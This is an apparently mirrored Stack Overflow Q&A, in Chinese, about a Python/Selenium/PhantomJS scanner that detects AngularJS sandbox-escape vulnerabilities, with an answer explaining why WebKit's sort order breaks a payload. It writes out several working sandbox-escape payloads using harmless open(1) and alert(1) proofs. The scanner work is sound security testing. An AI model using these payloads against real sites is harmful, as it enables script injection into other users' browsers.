草庐IT

javascript - PhantomJS/WebKit 中奇怪的 JavaScript 行为

coder 2024-05-17 原文

我正在用 Python 构建一个应用程序,用于检查某个 Web 应用程序是否容易受到 AngularJS 沙箱逃逸/绕过攻击。

这是它的工作原理。

我的应用使用以下内容启动本地网络服务器 (http://localhost)。

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

我使用的 Sandbox Escape payload 是 {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort (c)}},由于 open(1) 调用,它应该打开一个新窗口。

启动 Web 服务器后,它使用 Selenium(以 PhantomJS 作为驱动程序)检查是否由于 AngularJS 沙盒转义而打开了一个新窗口。

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

我面临的问题

PhantomJS 不会打开新窗口。当我使用 Google Chrome 导航到 http://localhost 时,它确实打开了一个新窗口。

这是 PhantomJS 控制台日志(包含两个错误):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

这是 Google Chrome 控制台日志(抛出错误但会打开一个新窗口):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

其他一些 AngularJS Sandbox Escape 有效载荷可以正常工作。例如下面的有效负载(对于 AngularJS 版本 1.0.0 到 1.1.5)在 Chrome 和 PhantomJS 中打开一个新窗口。

{{constructor.constructor('open(1)')()}}

我希望有人能够帮助我解决这个问题,以便我可以检测有效负载是否成功执行。

请注意,我使用的是 open(1) 而不是 alert(1),因为在 PhantomJS 中无法检测到警报。

提前致谢。


更新 1:

这是一个适用于谷歌浏览器的 JSFiddle,但不适用于 PhantomJS。我正在寻找一个解决方案(可能是有效负载或 PhantomJS 设置或其他内容的更改),以便有效负载也在 PhantomJS 中触发。

https://jsfiddle.net/x90ey5fa/

更新 2:

我发现它与 AngularJS 无关。下面的 JSFiddle 包含 4 行 JavaScript,它们在 Google Chrome 中有效,但在 PhantomJS 中无效。我还附上了 PhantomJS 的控制台日志。

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

版本详情:

操作系统:Windows 10 x64

Python 版本:3.6.1

谷歌浏览器版本:60.0.3112.78

PhantomJS 版本:2.1.1

Selenium 版本:3.4.3(通过 PIP 安装)

最佳答案

您的 Safari 错误非常有启发性(我很后悔没有仔细阅读它)。观察:

Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.

这个参数声明部分很重要。

payload的作用是

  1. c 设置为 toString 构造函数,Function(创建函数)
  2. Function 原型(prototype)的 toString 方法重定向到 call
  3. 使用 c 对数组进行排序,从而通过 Function("a", "open(1)") 创建一个新函数
  4. 我不确定为什么,但是这个sort的结果通过toString转换为字符串,它已经被重定向到call ,导致调用新函数,该函数调用 open(1)

无论如何,这就是它在 Chrome 中的工作方式。但是 .sort() 不一定在所有浏览器中都以相同的方式工作。它只是应该对事物进行排序...那么为什么它查看事物的顺序很重要?毕竟,传递的函数应该确保一切以正确的顺序出现。

作为MDN says , Function 的语法是

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit 正在“向后”排序,因此不是调用 Function("a", "open(1)"),而是调用 Function("open(1 )", "一个")。当给出多个参数时,最后一个参数被假定为函数体,其余所有参数都被解释为参数。这就是您获得意外 token 的原因。括号不是参数名称的有效部分。

这里有一个替代方案:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

我在基于 QtWebKit 的浏览器中对其进行了测试,它可以正常工作。当然,它也会在 Chrome 上导致 SyntaxError,因为参数是“向后的”......


以下是使它在 PhantomJS 和 Chrome 上的 Angular 中无缝工作的几种尝试。同样,这些不起作用。我将它们留在此处,以防它们激发其他人创建更完整的解决方案。

适用于 PhantomJS 和 Chrome 但不适用于 Angular(由于 function):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

适用于 Chrome 上的 Angular,但不适用于 PhantomJS:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)

关于javascript - PhantomJS/WebKit 中奇怪的 JavaScript 行为,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/45402328/

有关javascript - PhantomJS/WebKit 中奇怪的 JavaScript 行为的更多相关文章

  1. ruby - 如何根据特征实现 FactoryGirl 的条件行为 - 2

    我有一个用户工厂。我希望默认情况下确认用户。但是鉴于unconfirmed特征,我不希望它们被确认。虽然我有一个基于实现细节而不是抽象的工作实现,但我想知道如何正确地做到这一点。factory:userdoafter(:create)do|user,evaluator|#unwantedimplementationdetailshereunlessFactoryGirl.factories[:user].defined_traits.map(&:name).include?(:unconfirmed)user.confirm!endendtrait:unconfirmeddoenden

  2. ruby-on-rails - Capybara-webkit 引发 Capybara::Driver::Webkit::WebkitInvalidResponseError - 2

    我在rspec中收到来自webkit驱动程序的以下消息:Capybara::Driver::Webkit::WebkitInvalidResponseError:UnabletoloadURL:http://127.0.0.1:44923/posts几天前它成功了。问题出在save_page方法上。有什么问题吗? 最佳答案 当我的页面出现错误时,我收到过类似的错误消息。您应该通过在测试模式下启动服务器(railss-etest)并自行访问页面来手动检查情况是否如此。 关于ruby-on-

  3. ruby - Ruby gsub 替换中的行为不一致? - 2

    两个gsub产生不同的结果。谁能解释一下为什么?代码也可在https://gist.github.com/franklsf95/6c0f8938f28706b5644d获得.ver=9999str="\tCFBundleDevelopmentRegion\n\ten\n\tCFBundleVersion\n\t0.1.190\n\tAppID\n\t000000000000000"putsstr.gsub/(CFBundleVersion\n\t.*\.).*()/,"#{$1}#{ver}#{$2}"puts'--------'putsstr.gsub/(CFBundleVersio

  4. ruby-on-rails - Ruby 中意外的大小写行为 - 2

    我在一段非常简单的代码(如我所想)中得到了一个错误的值:org=4caseorgwhenorg=4val='H'endputsval=>nil请不要生气,我希望我错过了一些非常明显的东西,但我真的想不通。谢谢。 最佳答案 这是典型的Ruby错误。case有两种被调用的方法,一种是你传递一个东西作为分支的基础,另一种是你不传递的东西。如果您确实在case中指定了一个表达式语句然后评估所有其他条件并与===进行比较.在这种情况下org评估为false和org===false显然不是真的。所有其他情况也是如此,它们要么是真的,要么是假的。

  5. ruby - 使对象的行为类似于 ruby​​ 中并行分配的数组 - 2

    假设您在Ruby中执行此操作:ar=[1,2]x,y=ar然后,x==1和y==2。是否有一种方法可以在我自己的类中定义,从而产生相同的效果?例如rb=AllYourCode.newx,y=rb到目前为止,对于这样的赋值,我所能做的就是使x==rb和y=nil。Python有这样一个特性:>>>classFoo:...def__iter__(self):...returniter([1,2])...>>>x,y=Foo()>>>x1>>>y2 最佳答案 是的。定义#to_ary。这将使您的对象被视为要分配的数组。irb>o=Obje

  6. ruby-on-rails - 使用 javascript 更改数据方法不会更改 ajax 调用用户的什么方法? - 2

    我遇到了一个非常奇怪的问题,我很难解决。在我看来,我有一个与data-remote="true"和data-method="delete"的链接。当我单击该链接时,我可以看到对我的Rails服务器的DELETE请求。返回的JS代码会更改此链接的属性,其中包括href和data-method。再次单击此链接后,我的服务器收到了对新href的请求,但使用的是旧的data-method,即使我已将其从DELETE到POST(它仍然发送一个DELETE请求)。但是,如果我刷新页面,HTML与"new"HTML相同(随返回的JS发生变化),但它实际上发送了正确的请求类型。这就是这个问题令我困惑的

  7. ruby - 了解在 Ruby 中与 lambda 一起使用的 inject 行为 - 2

    我经常将预配置的lambda插入可枚举的方法中,例如“map”、“select”等。但是“注入(inject)”的行为似乎有所不同。例如与mult4=lambda{|item|item*4}然后(5..10).map&mult4给我[20,24,28,32,36,40]但是,如果我制作一个2参数lambda用于像这样的注入(inject),multL=lambda{|product,n|product*n}我想说(5..10).inject(2)&multL因为“inject”有一个可选的单个初始值参数,但这给了我......irb(main):027:0>(5..10).inject

  8. ruby - 在 Mechanize 中使用 JavaScript 单击链接 - 2

    我有这个:AccountSummary我想单击该链接,但在使用link_to时出现错误。我试过:bot.click(page.link_with(:href=>/menu_home/))bot.click(page.link_with(:class=>'top_level_active'))bot.click(page.link_with(:href=>/AccountSummary/))我得到的错误是:NoMethodError:nil:NilClass的未定义方法“[]” 最佳答案 那是一个javascript链接。Mechan

  9. ruby - 奇怪的 ruby​​ for 循环行为(为什么这样做有效) - 2

    defreverse(ary)result=[]forresult[0,0]inaryendresultendassert_equal["baz","bar","foo"],reverse(["foo","bar","baz"])这行得通,我想了解原因。有什么解释吗? 最佳答案 如果我使用each而不是for/in重写它,它看起来像这样:defreverse(ary)result=[]#forresult[0,0]inaryary.eachdo|item|result[0,0]=itemendresultendforainb基本上就

  10. ruby - 比较 rspec 中的 float 时的奇怪行为 - 2

    以下测试中的第3个失败:specify{(0.6*2).shouldeql(1.2)}specify{(0.3*3).shouldeql(0.3*3)}specify{(0.3*3).shouldeql(0.9)}#thisonefails这是为什么呢?这是浮点问题还是ruby​​或rspec问题? 最佳答案 从rspec-2.1开始specify{(0.6*2).shouldbe_within(0.01).of(1.2)}在那之前:specify{(0.6*2).shouldbe_close(1.2,0.01)}

随机推荐